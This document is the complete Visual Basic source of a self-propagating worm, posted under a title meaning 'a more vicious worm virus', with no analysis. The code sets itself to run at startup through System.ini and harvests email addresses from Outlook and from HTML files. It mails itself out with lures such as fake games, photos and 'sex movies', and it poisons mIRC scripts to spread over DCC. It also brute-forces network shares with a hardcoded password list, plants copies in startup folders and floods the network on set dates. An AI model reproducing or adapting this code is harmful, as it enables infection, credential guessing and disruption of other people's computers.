更毒的蠕虫病毒game wxh zt

wxhwhmanshan

Dim Fso, Wnt, Wol, Wom, Wos, Windir, Winsys, Wincmd, Wintmp, NewFile, OldFile, Ou
tLook, TextBody, Program, EUser, HUser, EPassword, EmailAddress, EmailSubject, Em
ailBody, EmailPrg
Sub Main()
On Error Resume Next
Dim Server, TmpAddress As String, Start, Last, Start1, Last1
Call Init
Call Copy_To
Call Auto_Run
Call Mail_Worm
For Each Drive In Fso.Drives
  Call Sub_Folder(Fso.GetFolder(Drive & "\"))
Next Drive
Let Start = 0
Let Last = 0
Do Until (Last >= Len(EmailAddress))
  Let Start = Last + 1
  Let Last = InStr(Start, EmailAddress, "*")
  If Send_Ok(Mid(EmailAddress, Start, Last - Start)) = True Then
   Send_Mail (Mid(EmailAddress, Start, Last - Start))
  End If
Loop
Wos.SignOff
Set Wos = Nothing
Set Wom = Nothing
Set Wol = Nothing
Call Net_Work
End Sub
Sub Init()
On Error Resume Next
Dim Tmp
Randomize Minute(Time) + Hour(Time) + Second(Time) + Day(Date)
Set Fso = CreateObject("scripting.filesystemobject")
Set Wnt = CreateObject("wscript.network")
Set Wol = CreateObject("outlook.application")
Let OutLook = True
If Err.Number = 429 Then OutLook = False
Let Windir = Fso.GetSpecialFolder(WindowsFolder)
Let Winsys = Fso.GetSpecialFolder(SystemFolder)
Let Wintmp = Fso.GetSpecialFolder(TemporaryFolder)
Let Wincmd = Windir & "\Command\Ebd"
Let Program = GetExeName
Let EUser = "administrator*admin*master*webmaster*webroot*root*system*"
Let EPassword = "internet*administrator*admin*master*network*webserver*server*roo
t*webmaster*webroot*system*windows*computer*passwd*password*webroot*shell*login*w
ebpage*nopasswd*nopassword*1234*4321*"
End Sub
Function Send_Ok(Address)
On Error Resume Next
Send_Ok = True
If Not Fso.FileExists(Winsys & "\Erifeci.Vxd") Then
  Set NewFile = Fso.CreateTextFile(Winsys & "\Erifeci.Vxd")
  NewFile.WriteLine "  NewFile.WriteLine Address
  NewFile.Close
  Fso.GetFile(Winsys & "\Erifeci.Vxd").Attributes = 7
Else:
  Let TextBody = ""
  Set OldFile = Fso.OpenTextFile(Winsys & "\Erifeci.Vxd")
  Do Until (OldFile.AtEndOfStream)
   Let TextBody = TextBody & OldFile.ReadLine & vbCrLf
  Loop
  OldFile.Close
  If InStr(TextBody, Address) Then
   Let Send_Ok = False
  Else:
   Fso.GetFile(Winsys & "\Erifeci.Vxd").Attributes = 0
   Set OldFile = Fso.OpenTextFile(Winsys & "\Erifeci.Vxd", 2)
   OldFile.Write TextBody
   OldFile.WriteLine Address
   OldFile.Close
   Fso.GetFile(Winsys & "\Erifeci.Vxd").Attributes = 7
  End If
End If
End Function
Sub Send_Mail(Address)
On Error Resume Next
Dim Mail, Tmp, User, Server, Start, Last
Let Start = 1
Let Last = InStr(Address, "@")
Let User = Mid(Address, 1, Last - Start)
Let Server = Right(Address, Len(Address) - (Len(User) + 1))
Let Tmp = Int((Rnd * 4) + 1)
Select Case Tmp
  Case 1:
   Let EmailSubject = User & ",How Are You?"
   Let EmailBody = EmailSubject & vbCrLf & Space(2) & "If You Like Cool Screen Sa
ve,Please Check This Attachment File." & vbCrLf & _
           "If You Have Other Cool Screen Save,Please Send To Me!My New E-Mail Ad
dress Is:" & "New" & User & "@" & Server & ".Thanks!"
   Let EmailPrg = Wintmp & "\My-Cool-Screen-Save.Scr"
  Case 2:
   Let EmailSubject = "This Mail For My " & User & "!"
   Let EmailBody = " I Very Like Play Computer Game,Attachment Is Very Well Compu
ter Game.If You Like Play Too Me,Please Check This Attachment File." & vbCrLf & _

           "If You Have Other Game,Please Send To Me!My New E-Mail Address Is:" &
"New" & User & "@" & Server & ".Thanks!"
   Let EmailPrg = Wintmp & "\Well-Computer-Game.Exe"
  Case 3:
   Let EmailSubject = User & ",Help Me!"
   Let EmailBody = " Please Open Attachment File,You Can See A Photo,But I Don't
Know Is Who?Please Help Me!" & vbCrLf & _
           &quotlease Send Your Reply To Me! My New E-Mail Address Is:New" & User &
"@" & Server & ".Thanks!"
   Let EmailPrg = Wintmp & "\Photo.Jpg.Scr"
  Case 4:
   Let EmailSubject = "Sex Movie For My " & User & "!"
   Let EmailBody = " Attachment Is Sex Movie.If You Like,Please Check Attachment
File.If You Have Other Sex Movie,Please " & vbCrLf & _
          "Don't Forget Me,I Need!Please Send Your Movie To My New E-Mail Address
:" & "New" & User & "@" & Server & ".Thanks!"
   Let EmailPrg = Wintmp & "\Sex-Movie.Exe"
End Select
Fso.CopyFile Winsys & "\Himem.Exe", EmailPrg
If OutLook = True Then
  Set Mail = Wol.CreateItem(0)
  Mail.Recipients.Add (Address)
  Mail.Subject = EmailSubject
  Mail.Body = EmailBody
  Mail.Attachments.Add (EmailPrg)
  Mail.Send
Else:
  Wom.Compose
  Wom.MsgIndex = -1
  Wom.RecipAddress = Address
  Wom.MsgSubject = EmailSubject
  Wom.MsgNoteText = EmailBody
  Wom.AttachmentPathName = EmailPrg
  Wom.Send
End If
Set Mail = Nothing
Fso.GetFile(EmailPrg).Attributes = 0
Fso.DeleteFile EmailPrg
End Sub
Sub Mail_Worm()
On Error Resume Next
Dim Times, Mapi, A, Ctrentries
If OutLook = False Then
  Set Wom = CreateObject("MSMAPI.MapiMessages")
  Set Wos = CreateObject("MSMAPI.MapiSession")
  Wos.DownLoadMail = False
  Wos.NewSession = False
  Wos.LogonUI = True
  Wos.SignOn
  Wom.SessionID = Wos.SessionID
  Wom.FetchSorted = True
  Wom.Fetch
  For Times = 0 To Wom.MsgCount - 1
   Wom.MsgIndex = Times
   If Send_Ok(Wom.MsgOrigAddress) = True Then Send_Mail (Wom.MsgOrigAddress)
  Next
Else:
  Set Mapi = Wol.GetNameSpace("MAPI")
  For ctrlists = 1 To Mapi.AddressLists.Count
   Set A = Mapi.AddressLists(ctrlists)
   For Ctrentries = 1 To A.AddressEntries.Count
    If Send_Ok(A.AddressEntries(Ctrentries)) = True Then Send_Mail (A.AddressEntr
ies(Ctrentries))
   Next
  Next
  Set Mapi = Nothing
  Set A = Nothing
End If
End Sub
Function GetExeName()
On Error Resume Next
Dim GetReally As Boolean
Let GetReally = False
Do Until (GetReally = True)
  If Len(App.Path) = 3 Then
   Let FileName = App.Path & LCase(Dir(App.Path & App.EXEName & ".*"))
  Else:
   Let FileName = App.Path & "\" & LCase(Dir(App.Path & "\" & App.EXEName & ".*")
)
  End If
  If InStr(FileName, "exe") Or InStr(FileName, "scr") Or InStr(FileName, "pif") O
r InStr(FileName, "com") Then
   Let TextBody = ""
   Set OldFile = Fso.OpenTextFile(FileName)
   Do Until (OldFile.AtEndOfStream)
    Let TextBody = TextBody & OldFile.ReadLine
   Loop
   OldFile.Close
   If Fso.GetFile(FileName).Size = 18944 Then GetReally = True: GetExeName = File
Name
  End If
Loop
End Function
Sub Copy_To()
On Error Resume Next
If Not Fso.FileExists(Winsys & "\Himem.Exe") Then
  Shell Windir & "\Explorer.Exe", vbMaximizedFocus
  Fso.CopyFile Program, Winsys & "\Himem.Exe"
  Fso.GetFile(Winsys & "\Himem.Exe").Attributes = 7
End If
For Each Drive In Fso.Drives
  If Not Fso.FileExists(Drive & "\Sex_Movie.Scr") Then
   Fso.CopyFile Program, Drive & "\Sex_Movie.Scr"
   Fso.GetFile(Drive & "\Sex_Movie.Scr").Attributes = 5
  End If
Next
If Not Fso.FileExists(Wincmd & "\Sex_Movie.Scr") Then
  Fso.CopyFile Program, Wincmd & "\Sex_Movie.Scr"
  Fso.GetFile(Wincmd & "\Sex_Movie.Scr").Attributes = 5
End If
End Sub
Sub Auto_Run()
On Error Resume Next
Dim Tmp As Integer
TextBody = ""
Set OldFile = Fso.OpenTextFile(Windir & "\System.ini")
Do Until (OldFile.AtEndOfStream)
  TextBody = TextBody & OldFile.ReadLine & vbCrLf
Loop
OldFile.Close
If InStr(LCase(TextBody), "shell=explorer.exe " & LCase(Winsys) & "\himem.exe") =
0 Then
  Let Tmp = Fso.GetFile(Windir & "\System.ini").Attributes
  Fso.GetFile(Windir & "\System.ini").Attributes = 0
  Set NewFile = Fso.OpenTextFile(Windir & "\System.ini", 2)
  NewFile.Write Replace(LCase(TextBody), "shell=explorer.exe", "shell=Explorer.ex
e " & Winsys & "\Himem.exe")
  NewFile.Close
  Fso.GetFile(Windir & "\System.ini").Attributes = Tmp
End If
End Sub
Sub Sub_Folder(SubFolder)
On Error Resume Next
For Each File In SubFolder.Files
  Call Sub_File(File)
Next File
For Each Folder In SubFolder.SubFolders
  Call Sub_Folder(Folder)
Next Folder
End Sub
Sub Sub_File(File)
On Error Resume Next
Dim ExtName, Mirc, Address, Start, Last, Times, NoLetter
Let ExtName = LCase(Fso.GetExtensionName(File.Path))
If LCase(File.Name) = "mirc.ini" And InStr(LCase(File.Path), "\mirc") Then
  Let Mirc = Fso.GetParentFolderName(File.Path)
  Fso.GetFile(Mirc & "\Script.ini").Attributes = 0
  Set NewFile = Fso.CreateTextFile(Mirc & "\Script.ini", True)
  NewFile.WriteLine ";PostMaster.Exe V1.0 MadeIn:CHINA"
  NewFile.WriteLine ";Good Wish For You!!!"
  NewFile.WriteLine "n0=on 1:JOIN:#:{"
  NewFile.WriteLine "n1= /if ( $nick == $me ) { halt }"
  NewFile.WriteLine "n2= /.dcc send $nick " & Wincmd & "\Sex_Movie.Scr"
  NewFile.WriteLine "n3=}"
  NewFile.Close
  Fso.GetFile(Mirc & "\Script.ini").Attributes = 7
ElseIf ExtName = "htm" Or ExtName = "html" Or ExtName = "hta" Or _
     ExtName = "shtml" Or ExtName = "shtm" Then
  TextBody = ""
  Set OldFile = Fso.OpenTextFile(File.Path)
  Do Until (OldFile.AtEndOfStream)
   Let TextBody = TextBody & OldFile.ReadLine & vbCrLf
  Loop
  OldFile.Close
  Let Start = 1
  Do Until (Start = 0)
   Let NoLetter = True
   Let Start = InStr(Start, LCase(TextBody), "mailto:")
   If Start <> 0 Then Start = Start + 7: NoLetter = False
   Let Times = Start
   Do Until (NoLetter = True)
    If InStr("abcdefghijklmnopqrstuvwxyz0123456789@._", Mid(TextBody, Times, 1))
= 0 And Times >= Start + 8 Then
     Let NoLetter = True
    Else:
     Let Times = Times + 1
    End If
   Loop
   Let Last = Times
   If Start <> 0 Then
   Let Address = LCase(Mid(TextBody, Start, Last - Start))
   If InStr(Address, ".com") Or InStr(Address, ".net") Or InStr(Address, ".edu")
Or InStr(Address, ".org") Or InStr(Address, ".mil") Or InStr(Address, ".gov") The
n
   If Right(Address, 1) <> "." Then
    Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start)) &
"*"
   Else:
    Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start - 1
)) & "*"
   End If
   End If
   Let Start = Start + 1
   End If
  Loop
ElseIf InStr("docwpscomexelnkpifbmpswfscrwavmpgmp3mp4", EXEName) = 0 Then
  Let TextBody = ""
  Set OldFile = Fso.OpenTextFile(File.Path)
  Do Until (OldFile.AtEndOfStream)
   Let TextBody = TextBody & OldFile.ReadLine & vbCrLf
  Loop
  OldFile.Close
  Let Start = 1
  Do Until (Start = 0)
   Let NoLetter = True
   Let Start = InStr(Start, LCase(TextBody), "mail:")
   If Start <> 0 Then Let NoLetter = False: Let Start = Start + 5
   Let Times = Start
   Do Until (NoLetter = True)
    If InStr("abcdefghijklmnopqrstuvwxyz0123456789@._", Mid(TextBody, Times, 1))
= 0 And Times >= Start + 8 Then
     Let NoLetter = True
    Else:
     Let Times = Times + 1
    End If
   Loop
   Let Last = Times
   If Start <> 0 Then
   Let Address = LCase(Mid(TextBody, Start, Last - Start))
   If InStr(Address, ".com") Or InStr(Address, ".net") Or InStr(Address, ".edu")
Or InStr(Address, ".org") Or InStr(Address, ".mil") Or InStr(Address, ".gov") The
n
   If Right(Address, 1) <> "." Then
    Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start)) &
"*"
   Else:
    Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start - 1
)) & "*"
   End If
   End If
   Let Start = Start + 1
   End If
  Loop
End If
End Sub
Sub Net_Work()
On Error Resume Next
Dim IP1, IP2, IP3, IP4, ShareName
If Day(Date) = 31 Then
  Do
   DoEvents
   Form1.Winsock1.SendData "911911911911911911911911911911911911911911911911" & _

               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911" & _
               "911911911911911911911911911911911911911911911911"
  Loop
Else:
  Do
Start:
   DoEvents
   Let IP1 = LTrim(Str(Int((Rnd * 254) + 1)))
   Let IP2 = LTrim(Str(Int((Rnd * 254) + 1)))
   Let IP3 = LTrim(Str(Int((Rnd * 254) + 1)))
   Let IP4 = LTrim(Str(Int((Rnd * 254) + 1)))
   ShareName = "\\" & IP1 & "." & IP2 & "." & IP3 & "." & IP4 & "\C"
   Wnt.MapNetworkDrive "o:", ShareName
   If Not Fso.FolderExists("o:\") Then
    Call Open_Pass(ShareName)
   End If
   If Not Fso.FolderExists("o:\") Then GoTo Start
   Fso.CopyFile Winsys & "\Himem.Exe", "o:\windows\startm~1\programs\startup\Scan
Reg.Pif", True
   Fso.CopyFile Winsys & "\Himem.Exe", "o:\Sex_Movie.Scr", True
   Fso.CopyFile Winsys & "\Himem.Exe", "o:\winnt\startm~1\programs\startup\ScanRe
g.Pif", True
   Fso.CopyFile Winsys & "\Himem.Exe", "o:\" & Right(Windir, Len(Windir) - 3) & "
\startm~1\programs\startup\ScanReg.Pif", True
   Wnt.RemoveNetworkDrive "o:"
  Loop
End If
End Sub
Sub Open_Pass(ShareName)
Dim Start, Last, Tmp, Tmp1, Start1, Last1
Let Start = 0
Let Last = 0
Do Until (Last = Len(EUser))
  Let Start = Last + 1
  Let Last = InStr(Start, EUser, "*")
  Let Tmp = Mid(EUser, Start, Last - Start)
  Let Start1 = 0
  Let Last1 = 0
  Do Until (Last1 = Len(EPassword))
   Let Start1 = Last1 + 1
   Let Last1 = InStr(Start1, EPassword, "*")
   Let Tmp1 = Mid(EPassword, Start1, Last1 - Start1)
   Wnt.MapNetworkDrive "o:", ShareName, Tmp, Tmp1
   If Fso.FolderExists("o:\") Then Exit Sub
  Loop
Loop
End Sub